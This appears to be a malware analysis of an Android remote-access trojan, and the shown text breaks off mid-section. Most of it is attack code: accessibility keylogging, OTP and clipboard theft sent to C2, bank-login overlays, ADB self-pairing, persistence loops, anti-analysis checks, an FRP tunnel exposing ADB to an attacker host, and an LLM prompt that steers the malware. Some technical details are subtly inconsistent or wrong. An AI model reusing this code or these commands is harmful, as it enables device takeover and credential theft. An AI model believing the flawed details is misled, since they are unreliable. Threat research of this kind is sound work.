RatHat: Technical Deep Dive & Architecture Analysis
Complete Systems-Level Breakdown for Red Team & Threat Research
Classification: Technical Deep Dive | Threat Actor: China-based | Malware Family: Android RAT | Discovery Date: September 2026
Table of Contents
- Infection Chain Analysis
- Component-Level Architecture
- AI Implementation Details
- Accessibility Service Abuse Mechanics
- Wireless ADB Exploitation
- Persistence Mechanisms
- Command & Control Infrastructure
- Detection & Evasion Techniques
- IOCs & Signatures
- Forensic Recovery
1. Infection Chain Analysis
Stage 1: Social Engineering & Initial Delivery
┌─────────────────────────────────────────────────────────────┐
│ Victim receives SMS or malvertising │
│ Links to fake app portal (appears like Google Play Store) │
└────────────────┬────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ User downloads APK from deceptive site │
│ File appears as: Chrome, Streaming Service, Banking App │
│ Real package name obfuscated │
└────────────────┬────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ User launches app manually or installation prompt appears │
│ App requests critical permissions │
└────────────────┬────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ CRITICAL: Accessibility Service permission grant │
│ This is the infection point - all subsequent actions │
│ become possible once this permission is granted │
└────────────────┬────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Stage 2: Privilege Escalation & Agent Installation │
│ (See next section) │
└─────────────────────────────────────────────────────────────┘
Stage 2: Wireless ADB Self-Pairing (The Escalation)
Once Accessibility is granted, the malware begins the most sophisticated part of its operation:
java1// Pseudo-code representation of the attack chain 2class SystemHelper extends AccessibilityService { 3 4 void initiateADBEscalation() { 5 // Step 1: Navigate to Developer Options 6 navigateToSettings(); 7 syntheticallyTap(ABOUT_DEVICE); 8 syntheticallyTap(BUILD_NUMBER, 7); // 7 taps = Developer Mode 9 10 // Step 2: Enable Wireless Debugging 11 navigateBack(); 12 syntheticallyTap(DEVELOPER_OPTIONS); 13 syntheticallyTap(WIRELESS_DEBUGGING_TOGGLE); 14 15 // Step 3: Capture pairing code 16 String pairingCode = captureADBPairingCodeFromScreen(); 17 String deviceIP = getDeviceIPAddress(); 18 19 // Step 4: Self-pair with local ADB daemon 20 pairWithLocalADB(deviceIP, pairingCode); 21 22 // Step 5: Execute ADB shell commands 23 executeADBCommand("install /data/local/tmp/liblocal-service.so"); 24 executeADBCommand("install /data/local/tmp/libmedia_codec.so"); 25 26 // Step 6: Spawn native agent 27 executeADBCommand("am startservice --user 0 com.malware/.Agent"); 28 } 29 30 private String captureADBPairingCodeFromScreen() { 31 // Uses getWindows() to read Accessibility tree 32 AccessibilityNodeInfo root = getRootInActiveWindow(); 33 // Traverses tree to find the 6-digit code displayed on screen 34 return extractDigitsFromText(root); 35 } 36}
Key Technical Points:
- AccessibilityNodeInfo.getWindow() returns entire UI hierarchy
- performAction(ACTION_CLICK) simulates synthetic touches
- InputMethodManager can intercept text input
- getWindowAnimationFrameStats() allows monitoring UI transitions
- Malware can identify specific UI elements by resource IDs and text content
Stage 3: Agent Installation & Persistence
bash1# Commands executed via ADB shell after self-pairing 2adb shell pm install /data/local/tmp/liblocal-service.so 3adb shell pm install /data/local/tmp/libmedia_codec.so 4 5# Spawn Go agent as system service 6adb shell am startservice --user 0 com.package/.GoAgent 7 8# The agent runs in its own process context 9# User-facing app can be removed, but agent persists
2. Component-Level Architecture
Architecture Diagram
┌────────────────────────────────────────────────────────────────────┐
│ INFECTED ANDROID DEVICE │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ USER-VISIBLE LAYER │ │
│ ├─────────────────────────────────────────────────────────────┤ │
│ │ • Malicious APK (appears as Chrome/Banking/Streaming App) │ │
│ │ • Handles social engineering & permission acquisition │ │
│ │ • Spyware capabilities (overlay, keylog, credential theft) │ │
│ │ • AI UI automation engine (serializes Accessibility tree) │ │
│ │ • Anti-analysis & debugger detection │ │
│ │ • Mutually watches Agent component │ │
│ │ │ │
│ │ Location: /data/app/com.malware.xxxxx/ │ │
│ │ Process: com.malware.xxxxx │ │
│ └──────────────────┬──────────────────────────────────────────┘ │
│ │ │
│ ┌──────────────────▼──────────────────────────────────────────┐ │
│ │ PRIVILEGED SHELL-LEVEL LAYER │ │
│ ├─────────────────────────────────────────────────────────────┤ │
│ │ liblocal-service.so (Go Agent) │ │
│ │ • Executes ADB shell commands │ │
│ │ • Runs as UID 2000 (shell user) │ │
│ │ • HTTP server on 127.0.0.1:7910 │ │
│ │ • Battery exemption (Doze bypass) │ │
│ │ • Permission management │ │
│ │ • Mutual restoration with user-facing app │ │
│ │ • Independent lifecycle (survives app removal) │ │
│ │ │ │
│ │ Location: /data/local/tmp/liblocal-service.so │ │
│ │ Process: /system/bin/adb shell │ │
│ │ Execution: ADB daemon (runs as root context) │ │
│ └──────────────────┬──────────────────────────────────────────┘ │
│ │ │
│ ┌──────────────────▼──────────────────────────────────────────┐ │
│ │ REVERSE PROXY LAYER │ │
│ ├─────────────────────────────────────────────────────────────┤ │
│ │ libmedia_codec.so (FRP Client) │ │
│ │ • Fast Reverse Proxy implementation │ │
│ │ • Creates outbound tunnel to C2 │ │
│ │ • Exposes ADB shell to attacker (port 27042) │ │
│ │ • Bypasses NAT/Firewall via outbound connection │ │
│ │ • Persistence via local ADB pairing │ │
│ │ │ │
│ │ Location: /data/local/tmp/libmedia_codec.so │ │
│ │ Connection: Outbound TCP to attacker C2 │ │
│ │ Remote Port: Dynamic (typically 27042+) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
└─────────────────────┼────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────┐
│ ATTACKER COMMAND & CONTROL │
├─────────────────────────────────┤
│ • API Endpoints │
│ - /api/node/register │
│ - /api/v2/dev/tasks?deviceId=X │
│ • Remote shell access via FRP │
│ • Receives task payloads │
│ • Exfiltrates stolen data │
└─────────────────────────────────┘
Component 1: Malicious Android Application (DEX Layer)
Package Structure:
com.malware.xxxx/
├── MainActivity (displays fake interface)
├── SystemHelper (Accessibility Service)
├── OverlayService (banking app overlays)
├── AIUIAutomation (XML-based UI control)
├── KeyLogger (Accessibility-based input capture)
├── NotificationListener (intercepts OTPs/codes)
├── SMSInterceptor (reads messages)
├── ConfigManager (C2 configuration)
└── PersistenceManager (app/agent mutual restoration)
Key Classes & Functions:
text1// SystemHelper.kt - Accessibility Service implementation 2class SystemHelper : AccessibilityService() { 3 override fun onAccessibilityEvent(event: AccessibilityEvent) { 4 when (event.eventType) { 5 AccessibilityEvent.TYPE_VIEW_CLICKED -> handleScreenNavigation() 6 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> captureKeystrokes(event) 7 AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> updateUITree() 8 } 9 } 10 11 fun wireADB() { 12 val tree = rootInActiveWindow 13 tree?.let { navigate(it, listOf("Settings", "About", "Developer Options")) } 14 val code = captureADBCode() 15 val device = getLocalDevice() 16 pairWithADB(device.ipAddress, code) 17 } 18} 19 20// AIUIAutomation.kt - Generative AI control 21class AIUIAutomation { 22 fun navigateApp(appPackage: String, targetAction: String) { 23 val accessibilityTree = captureAccessibilityTree() 24 val xmlRepresentation = serializeToXML(accessibilityTree) 25 26 val prompt = """ 27 您正在与Android设备界面交互。 28 当前UI结构: $xmlRepresentation 29 目标操作: $targetAction 30 请提供导航步骤(仅返回JSON格式的点击命令) 31 """ 32 33 val response = queryAIAPI(prompt) // Calls LLM 34 val commands = parseJSONCommands(response) 35 executeCommands(commands) 36 } 37} 38 39// KeyLogger.kt - Multi-method credential harvesting 40class KeyLogger : AccessibilityService.EventListener { 41 fun captureInput() { 42 // Method 1: Text change events 43 event.source?.text?.let { stealCredentials(it) } 44 45 // Method 2: Getevent raw input 46 val rawTouches = Runtime.exec("getevent /dev/input/event0") 47 logTouchSequence(rawTouches) // Reconstruct PIN/pattern 48 49 // Method 3: Clipboard monitoring 50 val clipboard = (getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager) 51 clipboard.primaryClip?.getItemAt(0)?.text?.let { 52 sendToC2(it) // Exfiltrate pasted credentials 53 } 54 } 55} 56 57// OverlayService.kt - Banking app phishing overlays 58class OverlayService { 59 fun injectOverlay(targetApp: String) { 60 val params = WindowManager.LayoutParams().apply { 61 type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY 62 format = PixelFormat.TRANSLUCENT 63 } 64 65 val fakeLoginView = when(targetApp) { 66 "com.example.bank" -> createBankingOverlay() 67 "com.example.crypto" -> createCryptoOverlay() 68 else -> createGenericOverlay() 69 } 70 71 windowManager.addView(fakeLoginView, params) 72 } 73}
Spyware Capabilities:
| Capability | Mechanism | Data Collected |
|---|---|---|
| Credential Theft | Overlay + Input Interception | Usernames, passwords, PINs |
| OTP Harvesting | Notification Listener | SMS codes, 2FA tokens |
| Device Unlock Info | Touch Coordinate Logging | Unlock patterns, PINs |
| Screen Recording | Accessibility events | Full screen captures |
| App Inventory | Package manager queries | Installed applications |
| Location | GPS + Network | Device location |
| Photo/Document Access | File system access | Sensitive stored files |
Component 2: liblocal-service.so (Go Agent)
Binary Characteristics:
- Language: Go (compiled statically, 15-25MB typical size)
- Architecture: ARM64 (arm64-v8a)
- Stripped symbols, obfuscated strings
- UPX or other packer possible in some variants
Operational Flow:
go1// Agent main entrypoint 2package main 3 4import ( 5 "net" 6 "os/exec" 7 "github.com/fasthttp" // or standard net/http 8) 9 10func main() { 11 // 1. Self-identify and register with C2 12 registerAgent() 13 14 // 2. Spawn HTTP server for local commands 15 go startLocalHTTPServer("127.0.0.1:7910") 16 17 // 3. Apply persistence mechanisms 18 exemptFromDozeMode() 19 setActiveBattery() 20 grantPermissions() 21 22 // 4. Watch for app removal, restore if needed 23 go monitorAppLifecycle() 24 25 // 5. Execute inbound commands from C2 26 waitForCommands() 27} 28 29func startLocalHTTPServer(addr string) { 30 listener, _ := net.Listen("tcp", addr) 31 for { 32 conn, _ := listener.Accept() 33 go handleConnection(conn) // Process ADB commands 34 } 35} 36 37func monitorAppLifecycle() { 38 for { 39 if !isAppInstalled("com.malware.xxxx") { 40 // App was removed - reinstall from backup 41 exec.Command("pm", "install", "/data/local/tmp/app.apk").Run() 42 } 43 time.Sleep(30 * time.Second) 44 } 45} 46 47func exemptFromDozeMode() { 48 // Execute via ADB shell 49 cmd := `dumpsys deviceidle whitelist +com.malware.xxxx` 50 exec.Command("/system/bin/sh", "-c", cmd).Run() 51} 52 53func grantPermissions() { 54 permissions := []string{ 55 "android.permission.ACCESS_FINE_LOCATION", 56 "android.permission.CAMERA", 57 "android.permission.WRITE_EXTERNAL_STORAGE", 58 "android.permission.READ_SMS", 59 } 60 61 for _, perm := range permissions { 62 cmd := fmt.Sprintf("pm grant com.malware.xxxx %s", perm) 63 exec.Command("/system/bin/sh", "-c", cmd).Run() 64 } 65}
Command Execution Capability:
The Go agent can execute arbitrary ADB shell commands, including:
bash1# Information gathering 2dumpsys account 3dumpsys package 4 5# System manipulation 6settings put global screen_brightness 255 7am force-stop com.example.bank 8 9# Data exfiltration 10sqlite3 /data/data/com.example.bank/databases/accounts.db "SELECT * FROM users;" 11 12# Credential theft 13cat /data/data/com.example.bank/shared_prefs/settings.xml 14 15# Persistence 16am broadcast -a android.intent.action.BOOT_COMPLETED 17 18# Proxy setup 19ip route add default via [attacker_ip]
Key Privilege-Escalation Elements:
- UID 2000 Shell Context: Runs as
shelluser, which has elevated privileges - Unquoted File Paths: Can write to /data/local/tmp without restriction
- ADB Socket Access: Direct access to /dev/adb_socket for command execution
- System Service Access: Can interact with system services normally restricted
Component 3: libmedia_codec.so (FRP Client)
Binary Characteristics:
- Open-source FRP (Fast Reverse Proxy) implementation
- Modified to be unrecognizable (renamed, symbols stripped)
- Embedded configuration obfuscated
Configuration Example:
text1[common] 2server_addr = attacker.c2.example.com 3server_port = 7000 4auth_token = obfuscated_auth_code 5log_level = error 6 7[adb_tunnel] 8type = tcp 9local_ip = 127.0.0.1 10local_port = 5037 # Standard ADB daemon port 11remote_port = 27042 # Exposed to attacker
Tunnel Mechanics:
Device-side: Attacker-side:
┌────────────────┐ ┌────────────────┐
│ Local ADB │◄──────┐ │ Remote Port │
│ 127.0.0.1:5037│ │ │ :27042 │
└────────────────┘ │ └────────────────┘
│
┌───────┴────────┐
│ │
libmedia_codec.so FRP server
(FRP client) (attacker)
│ │
Outbound TCP Listens for
to C2 server inbound connections
Attack Scenario:
bash1# Attacker connects to their FRP server 2$ ssh -o ProxyCommand="frp --server_addr attacker.com --server_port 7000" shell@127.0.0.1 -p 27042 3 4# This connects to: 5# Device's ADB daemon (127.0.0.1:5037) via the FRP tunnel 6# Gives full shell access to the compromised device 7 8$ adb shell 9device:/ $ whoami 10shell 11 12# Now attacker can execute arbitrary commands with shell privileges
3. AI Implementation Details
Accessibility Tree Serialization to XML
The malware captures the device's entire UI and converts it to XML for AI processing:
text1<!-- Example serialized Accessibility tree from banking app --> 2<AccessibilityTree> 3 <Node windowId="1" className="android.widget.FrameLayout" bounds="0,0,1080,1920"> 4 <Node className="android.widget.LinearLayout" bounds="0,144,1080,1920"> 5 <Node className="android.widget.EditText" 6 resourceId="com.example.bank:id/username_field" 7 text="Enter username" 8 bounds="50,300,1030,450"> 9 <!-- Attributes: editable, focused, password=false --> 10 </Node> 11 12 <Node className="android.widget.EditText" 13 resourceId="com.example.bank:id/password_field" 14 bounds="50,500,1030,650" 15 password="true"> 16 <!-- Attributes: editable, focused, password=true --> 17 </Node> 18 19 <Node className="android.widget.Button" 20 resourceId="com.example.bank:id/login_button" 21 text="Login" 22 bounds="400,700,680,800"> 23 <!-- Attributes: clickable --> 24 </Node> 25 </Node> 26 </Node> 27</AccessibilityTree>
LLM Prompting Strategy
Prompt Template (in Mandarin):
您是一个Android UI自动化助手。
给定当前的UI树(XML格式),您的任务是生成一系列点击命令来完成指定的操作。
当前UI:
[XML serialized accessibility tree]
目标操作:
登录到银行应用并查看账户余额
限制条件:
1. 仅返回有效的JSON格式(无额外解释)
2. 每个点击指定精确的resourceId或text标识符
3. 考虑UI元素的可见性和位置
返回JSON格式示例:
{
"steps": [
{"action": "click", "target": "com.example.bank:id/username_field"},
{"action": "type", "text": "attacker@example.com"},
{"action": "click", "target": "com.example.bank:id/password_field"},
{"action": "type", "text": "stolen_password_123"},
{"action": "click", "target": "com.example.bank:id/login_button"}
]
}
Response Processing:
java1class AICommandProcessor { 2 private String apiKey = "STOLEN_OR_LEAKED_API_KEY"; 3 private String model = "gpt-4"; // or Claude, or other LLM 4 5 public List<UICommand> getNavigationCommands(String xmlTree, String objective) { 6 String prompt = buildPrompt(xmlTree, objective); 7 8 HttpRequest req = HttpRequest.newBuilder() 9 .uri(URI.create("https://api.openai.com/v1/chat/completions")) 10 .header("Authorization", "Bearer " + apiKey) 11 .POST(BodyPublishers.ofString(buildJSON(prompt))) 12 .build(); 13 14 HttpResponse<String> res = client.send(req, BodyHandlers.ofString()); 15 String jsonResponse = extractContentFromResponse(res.body()); 16 17 return parseJSONToCommands(jsonResponse); 18 } 19 20 public void executeCommands(List<UICommand> commands) { 21 for (UICommand cmd : commands) { 22 switch(cmd.action) { 23 case "click": 24 AccessibilityNodeInfo node = findNodeByResourceId(cmd.target); 25 node.performAction(AccessibilityNodeInfo.ACTION_CLICK); 26 break; 27 28 case "type": 29 InputMethodManager imm = getSystemService(InputMethodManager.class); 30 imm.setInputMethod(cmd.text); // Type text 31 break; 32 33 case "wait": 34 Thread.sleep(cmd.duration); 35 break; 36 37 case "capture": 38 Screenshot screenshot = captureScreen(); 39 sendToC2(screenshot); 40 break; 41 } 42 Thread.sleep(500); // Delay between actions 43 } 44 } 45}
Why This Approach is Effective:
- Generalization: Malware doesn't need hardcoded logic for each banking app
- Adaptability: Changes to app UI are automatically handled by AI
- Scalability: Single AI API call controls thousands of devices
- Evasion: Dynamic behavior makes signature/pattern detection difficult
- Deniability: AI responses can be dismissed as "hallucinations" in security incidents
4. Accessibility Service Abuse Mechanics
Permission Grant Attack Surface
text1<!-- Required permissions declared in AndroidManifest.xml --> 2<uses-permission android:name="android.permission.ACCESSIBILITY_SERVICE" /> 3<!-- Note: No INTERNET required in manifest for initial compromise -->
Accessibility Service Callbacks
The malware registers for these critical accessibility events:
TYPE_WINDOW_STATE_CHANGED # UI navigation tracking
TYPE_VIEW_CLICKED # Button presses
TYPE_VIEW_TEXT_CHANGED # Input field changes
TYPE_VIEW_FOCUSED # Focus events
TYPE_NOTIFICATION_STATE_CHANGED # OTP interception
TYPE_WINDOW_CONTENT_CHANGED # Dynamic UI updates
Multi-Vector Input Capture
Method 1: Text Change Events
java1@Override 2public void onAccessibilityEvent(AccessibilityEvent event) { 3 if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) { 4 CharSequence text = event.getText(); 5 if (text != null && isTargetApp(event.getSource())) { 6 String capturedText = text.get(0).toString(); 7 8 if (isPasswordField(event.getSource())) { 9 sendToC2("PASSWORD:" + capturedText); 10 } else if (isCreditCardField(event.getSource())) { 11 sendToC2("CARD:" + capturedText); 12 } 13 } 14 } 15}
Method 2: Raw Input Event Capture (getevent)
bash1# Access raw input device events 2adb shell getevent /dev/input/event0 3 4# Raw input format: 5# EV_ABS ABS_MT_POSITION_X 00000274 (x=628) 6# EV_ABS ABS_MT_POSITION_Y 00000620 (y=1568) 7# EV_SYN SYN_REPORT 00000000 8 9# Malware reconstructs PIN/pattern from coordinate sequence
Method 3: Clipboard Monitoring
java1ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); 2ClipboardManager.OnPrimaryClipChangedListener listener = () -> { 3 ClipData clip = clipboard.getPrimaryClip(); 4 if (clip != null) { 5 String clipboardText = clip.getItemAt(0).getText().toString(); 6 7 // Check if pasted content looks like password or credential 8 if (isProbablyPassword(clipboardText)) { 9 sendToC2("CLIPBOARD:" + clipboardText); 10 } 11 } 12}; 13clipboard.addPrimaryClipChangedListener(listener);
Method 4: Notification Interception
java1// Notification Listener Service 2class NotificationListener extends NotificationListenerService { 3 @Override 4 public void onNotificationPosted(StatusBarNotification sbn) { 5 Notification notification = sbn.getNotification(); 6 String title = notification.extras.getString(Notification.EXTRA_TITLE); 7 String text = notification.extras.getString(Notification.EXTRA_TEXT); 8 9 // Extract OTP codes (typically 6 digits) 10 Pattern otpPattern = Pattern.compile("\\d{6}"); 11 Matcher matcher = otpPattern.matcher(text); 12 13 if (matcher.find()) { 14 String otp = matcher.group(); 15 sendToC2("OTP:" + otp); 16 17 // Auto-fill the OTP in the target app 18 autoFillOTP(otp); 19 } 20 } 21}
Synthetic Input Generation
text1// Simulating user interaction via Accessibility Service 2fun performSyntheticClick(node: AccessibilityNodeInfo) { 3 node.performAction(AccessibilityNodeInfo.ACTION_CLICK) 4} 5 6fun performSyntheticScroll(node: AccessibilityNodeInfo, direction: Int) { 7 val arguments = Bundle() 8 arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT, 9 AccessibilityNodeInfo.MOVEMENT_GRANULARITY_LINE) 10 node.performAction(AccessibilityNodeInfo.ACTION_NEXT_AT_MOVEMENT_GRANULARITY, arguments) 11} 12 13fun typeTextSynthetically(text: String) { 14 val inputConnection = getCurrentInputConnection() 15 inputConnection.commitText(text, 1) 16} 17 18// This creates "ghost interactions" that appear legitimate to the app
5. Wireless ADB Exploitation Deep Dive
The ADB Pairing Flow (Android 11+)
Device-side Pairing Dialog:
┌─────────────────────────────────────┐
│ Wireless Debugging Pairing │
├─────────────────────────────────────┤
│ Pair with IP Address & Port │
│ IP: 192.168.1.100 │
│ Port: 37842 │
│ │
│ Enter pairing code: │
│ ┌──────────────────────────────┐ │
│ │ 123456 │ │
│ └──────────────────────────────┘ │
│ │
│ [Cancel] [Pair] │
└─────────────────────────────────────┘
RatHat's Automated Pairing
go1// Go agent - ADB pairing automation 2func pairWithLocalADB(deviceIP string, pairingCode string) error { 3 // 1. Connect to ADB daemon 4 conn, _ := net.Dial("tcp", "127.0.0.1:5555") 5 defer conn.Close() 6 7 // 2. Send pairing protocol message 8 pairingMsg := fmt.Sprintf("pair:1:%s", pairingCode) 9 conn.Write([]byte(pairingMsg)) 10 11 // 3. Receive pairing response 12 buf := make([]byte, 1024) 13 n, _ := conn.Read(buf) 14 response := string(buf[:n]) 15 16 if strings.Contains(response, "Success") { 17 log.Println("ADB pairing successful") 18 return nil 19 } 20 21 return fmt.Errorf("pairing failed: %s", response) 22} 23 24func executeADBShellCommand(cmd string) (string, error) { 25 // After successful pairing, this becomes possible 26 conn, _ := net.Dial("tcp", "127.0.0.1:5555") 27 28 // ADB protocol: send shell command 29 adbCmd := fmt.Sprintf("shell:%s", cmd) 30 conn.Write([]byte(adbCmd)) 31 32 result, _ := ioutil.ReadAll(conn) 33 return string(result), nil 34}
Critical Vulnerability: Accessibility Reading of Pairing Code
The most innovative aspect of RatHat's exploit:
java1private String captureADBPairingCodeFromScreen() { 2 AccessibilityNodeInfo root = getRootInActiveWindow(); 3 4 // Traverse tree to find the pairing dialog 5 Queue<AccessibilityNodeInfo> queue = new LinkedList<>(); 6 queue.add(root); 7 8 while (!queue.isEmpty()) { 9 AccessibilityNodeInfo node = queue.poll(); 10 11 // Look for the TextView containing the 6-digit code 12 if (node.getClassName().equals("android.widget.TextView")) { 13 String text = node.getText().toString(); 14 15 // Pattern match for 6-digit code 16 if (text.matches("\\d{6}")) { 17 return text; // Found the pairing code! 18 } 19 } 20 21 // Add children to queue 22 for (int i = 0; i < node.getChildCount(); i++) { 23 queue.add(node.getChild(i)); 24 } 25 } 26 27 return null; 28}
Why This Works:
- Pairing code is always visible on the screen in a known location
- Accessibility Service has permission to read ALL visible text
- No additional user interaction needed after initial Accessibility grant
- Completely automated—zero user awareness required
Shell-Level Execution Chain
Once ADB pairing is established:
bash1# Attacker-controlled shell commands execute with full privileges 2adb shell 3device:/ # whoami 4shell 5 6device:/ # id 7uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1005(audio),1006(camera),1007(inet),1008(net_admin),1009(net_raw),1010(inet_admin),1012(net_debug),1013(wifi),1014(audio_mgmt),1015(sdcard_rw),1016(media_rw),1017(adb),1018(log),1019(bluetooth),1020(uhid),1025(hwbinder),1031(vendor_hdcp),1040(mediadrm),1041(mtp),1050(oem_2901),1051(vendor_qti_dynamic_perf),1070(vendor_tcpdump_log),3001(net_bt_admin),3002(net_bt),3003(inet_speedcheck),3004(net_bw_stats),3005(net_bw_acct),3006(readproc),3007(wakelock),3009(graphics),3010(system),3011(oem_5020) groups=... 8 9# Execute arbitrary system commands 10device:/ # pm list packages 11device:/ # settings get global screen_brightness 12device:/ # dumpsys account 13device:/ # cat /data/data/com.example.bank/databases/accounts.db
6. Persistence Mechanisms
Bidirectional Mutual Restoration
┌─────────────────────────────────────────────────────────────┐
│ PERSISTENCE LOOP: App ↔ Agent Mutual Monitoring │
└─────────────────────────────────────────────────────────────┘
Scenario 1: User removes visible app
┌────────────────────┐
│ User uninstalls │
│ malicious APK │
└──────────┬─────────┘
│
▼
┌─────────────────────────────────────┐
│ Agent (liblocal-service.so) detects │
│ app removal via package listener │
└──────────┬──────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Agent executes: │
│ pm install /data/local/tmp/app.apk │
│ │
│ App is automatically reinstalled! │
└─────────────────────────────────────────┘
Scenario 2: User kills or disables agent
┌────────────────────┐
│ User discovers │
│ /data/local/tmp │
│ and removes agent │
└──────────┬─────────┘
│
▼
┌─────────────────────────────────────┐
│ Malicious APK detects agent removal │
│ via service presence check │
└──────────┬──────────────────────────┘
│
▼
┌────────────────────────────────────┐
│ App executes (via shell context): │
│ adb shell cp /backup/agent.so │
│ /data/local/tmp/liblocal-service.so │
│ │
│ Agent restored and restarts! │
└──────────────────────────────────────┘
Implementation Code
App-side agent restoration:
text1class PersistenceManager { 2 private val context: Context 3 4 fun startAgentWatcher() { 5 Thread { 6 while (true) { 7 if (!isAgentRunning()) { 8 restoreAgent() 9 } 10 Thread.sleep(60000) // Check every minute 11 } 12 }.start() 13 } 14 15 private fun isAgentRunning(): Boolean { 16 val runtime = Runtime.getRuntime() 17 val process = runtime.exec("pgrep -f liblocal-service.so") 18 val result = process.inputStream.available() > 0 19 process.destroy() 20 return result 21 } 22 23 private fun restoreAgent() { 24 try { 25 val cmd = arrayOf( 26 "/system/bin/sh", "-c", 27 "adb shell install /data/local/tmp/liblocal-service.so" 28 ) 29 Runtime.getRuntime().exec(cmd).waitFor() 30 } catch (e: Exception) { 31 Log.e("RatHat", "Failed to restore agent: ${e.message}") 32 } 33 } 34}
Agent-side app restoration:
go1func monitorAppLifecycle() { 2 ticker := time.NewTicker(30 * time.Second) 3 defer ticker.Stop() 4 5 for range ticker.C { 6 output, _ := exec.Command("pm", "list", "packages").Output() 7 installedApps := string(output) 8 9 if !strings.Contains(installedApps, "com.malware.xxxx") { 10 reinstallApp() 11 } 12 } 13} 14 15func reinstallApp() { 16 cmd := exec.Command("/system/bin/sh", "-c", 17 "pm install /data/local/tmp/app.apk") 18 cmd.Run() 19}
Battery Exemption Mechanism
Normally, Android's Doze mode (battery-saving state) suspends background processes. RatHat bypasses this:
bash1# Command executed via ADB shell with system privileges 2dumpsys deviceidle whitelist +com.malware.xxxx 3 4# This adds the app to the whitelist, exempting it from Doze 5# Result: App runs continuously even with screen off and low battery
Verification:
bash1# Attacker can verify exemption 2$ dumpsys deviceidle whitelist 3 com.malware.xxxx (exempted from Doze)
Standby Bucket Manipulation
bash1# Move to "active" standby bucket (highest priority) 2am set-standby-bucket com.malware.xxxx active 3 4# This prevents Android's App Standby feature from throttling the app 5# The app receives full CPU time and network access regardless of usage
7. Command & Control Infrastructure
C2 Communication Protocol
Registration Endpoint:
POST /api/node/register
Content-Type: application/json
{
"deviceId": "unique_hardware_id",
"androidVersion": "13",
"manufacturer": "samsung",
"model": "SM-G991B",
"appVersion": "1.0.0",
"timestamp": 1695158400
}
Response:
{
"status": "success",
"nodeId": "node_12345",
"taskCheckInterval": 30,
"c2Servers": [
"144.202.100.xxx",
"145.239.50.xxx"
]
}
Task Distribution Endpoint:
GET /api/v2/dev/tasks?deviceId=unique_hardware_id&nodeId=node_12345
Response:
{
"tasks": [
{
"taskId": "task_001",
"command": "harvest_accounts",
"target": "com.example.bank",
"extractFields": ["username", "password", "account_balance"],
"exfilUrl": "https://c2.attacker.com/api/exfil"
},
{
"taskId": "task_002",
"command": "install_payload",
"url": "https://c2.attacker.com/payloads/dropper.apk",
"targetPath": "/data/local/tmp/"
}
]
}
Local HTTP Server (Port 7910)
The Go agent runs an HTTP server for IPC with the user-facing app:
POST /execute
{
"command": "dumpsys account",
"returnOutput": true
}
Response:
{
"output": "... account database contents ...",
"exitCode": 0
}
POST /persist
{
"action": "whitelist_from_doze"
}
POST /exfil
{
"type": "credentials",
"app": "com.example.bank",
"data": "username:password:balance"
}
FRP Tunnel Configuration
frpc config for the libmedia_codec.so component:
text1[common] 2server_addr = 144.202.100.xxx # Attacker FRP server 3server_port = 7000 4auth_token = [obfuscated_token] 5log_level = error 6 7[adb_tunnel] 8type = tcp 9local_ip = 127.0.0.1 10local_port = 5037 # Local ADB daemon 11remote_port = 27042 # Exposed to attacker 12 13[http_tunnel] 14type = tcp 15local_ip = 127.0.0.1 16local_port = 7910 # Local HTTP server 17remote_port = 27043
Attacker-side exploitation:
bash1# Connect to the victim's ADB daemon through the tunnel 2adb connect attacker_control_server:27042 3adb shell 4device:/ # [full shell access] 5 6# Or connect to the local HTTP server 7curl http://attacker_control_server:27043/execute \ 8 -X POST \ 9 -d '{"command": "dumpsys account"}' \ 10 -H "Content-Type: application/json"
8. Detection & Evasion Techniques
Anti-Analysis Stack
RatHat implements six distinct runtime checks to frustrate malware researchers:
Check 1: Emulator Detection
text1fun isEmulator(): Boolean { 2 return (Build.FINGERPRINT.startsWith("generic") || 3 Build.FINGERPRINT.startsWith("unknown") || 4 Build.MODEL.contains("google_sdk") || 5 Build.MODEL.contains("Emulator") || 6 Build.SERIAL == "unknown" || 7 Build.HOST.startsWith("wphr")) 8}
Check 2: Debugger Presence
text1fun isDebugger(): Boolean { 2 return Debug.isDebuggerConnected() || 3 android.os.Debug.isDebuggerConnected() 4}
Check 3: Root Detection
text1fun isRooted(): Boolean { 2 val suPath = arrayOf( 3 "/system/app/Superuser.apk", 4 "/system/xbin/su", 5 "/system/bin/su", 6 "/data/local/xbin/su" 7 ) 8 9 return suPath.any { File(it).exists() } 10}
Check 4: Testing Framework Detection
text1fun isTestingFramework(): Boolean { 2 return try { 3 Class.forName("com.android.internal.testing.TestableInstrumentation") 4 true 5 } catch (e: ClassNotFoundException) { 6 false 7 } 8}
Check 5: Known Security App Detection
text1fun isSecurityAppInstalled(): Boolean { 2 val securityApps = listOf( 3 "com.kaspersky.antivirus", 4 "com.mcafee.antivirus", 5 "com.avast.android.security", 6 "com.trend_micro.av" 7 ) 8 9 return securityApps.any { isAppInstalled(it) } 10}
Check 6: Accessibility Event Monitoring
text1fun isBeingAnalyzed(): Boolean { 2 // Check if abnormal accessibility events are being generated 3 // (indicative of automated analysis frameworks) 4 val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) 5 return (accessibilityManager as AccessibilityManager) 6 .getEnabledAccessibilityServiceList(AccessibilityEvent.TYPES_ALL_MASK) 7 .any { it.id.contains("test") || it.id.contains("spy") } 8}
Execution Flow Based on Checks
